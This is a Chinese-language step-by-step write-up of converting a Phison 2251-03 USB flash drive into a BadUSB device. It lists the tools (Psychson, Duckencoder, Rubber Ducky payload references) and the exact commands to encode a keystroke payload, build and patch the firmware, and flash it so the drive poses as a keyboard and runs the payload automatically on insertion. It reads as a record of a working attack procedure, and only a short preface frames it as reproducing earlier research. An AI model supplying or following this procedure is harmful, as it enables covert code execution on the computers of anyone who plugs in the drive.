0x00 前言
不是很新的東西,其他作者已對此做過研究測試,本文僅用來記錄操作過程,保存日志,說明細節。
0x01參考資料
https://github.com/adamcaudill/Psychson
https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads
http://zone.wooyun.org/content/22819
0x02環境搭建
1、硬件
U盤 :東芝(TOSHIBA) 速閃系列 U盤 16GB (黑色) USB3.0 主控版本:Phison 2251-03
2、軟件
Windows x64主機
(1)Java Runtime Environment :Java環境,用於支持Duckencoder
(2)SDCC :刷寫U盤的環境,用於支持Psychson
(3)Visual Studio 2012 :編譯Psychson的開發環境
(4)Psychson :BasUSB寫入工具 (https://github.com/adamcaudill/Psychson)
(5)Burner File :BN03V104M.BIN,必要的burner
(6)USB-Rubber-Ducky Payload :編寫Payload的參考代碼 (https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads)
(7)Duckencoder :用於編譯Payload
(8)chipgenius 芯片檢測工具 :用於確定U盤型號
0x03操作流程
1、配置Payload
進入DuckEncoder文件夾
執行:
java -jar encoder.jar -i payload.txt -o inject.bin
說明:
encoder.jar:文件夾自帶 payload.txt:可參考USB-Rubber-Ducky Payload inject.bin:執行代碼后生成的文件
2、生成固件
執行:
Psychson-master\firmware\build.bat
生成fw.bin文件
3、將Payload寫入fw.bin文件
執行:
EmbedPayload.exe inject.bin fw.bin
說明:
EmbedPayload.exe:編譯EmbedPayload工程得來
inject.bin:操作1生成
fw.bin:操作2生成
4、將生成的固件寫入U盤
(1)執行
DriveCom.exe /drive=E /action=SetBootMode
設置U盤模式
(2)執行
DriveCom.exe /drive=E /action=SendExecutable /burner=BN03V104M.BIN
操作burner
(3)執行
DriveCom.exe /drive=E /action=SendFirmware /burner=BN03V104M.BIN /firmware=fw.bin
將fw.bin刷入U盤
0x04 小結
刷入成功后,下次插入U盤會模擬鍵盤操作,自動執行Payload
0x05 補充
如果刷壞或者想更改Payload,需要短接29和30針,再用官方刷寫工具刷新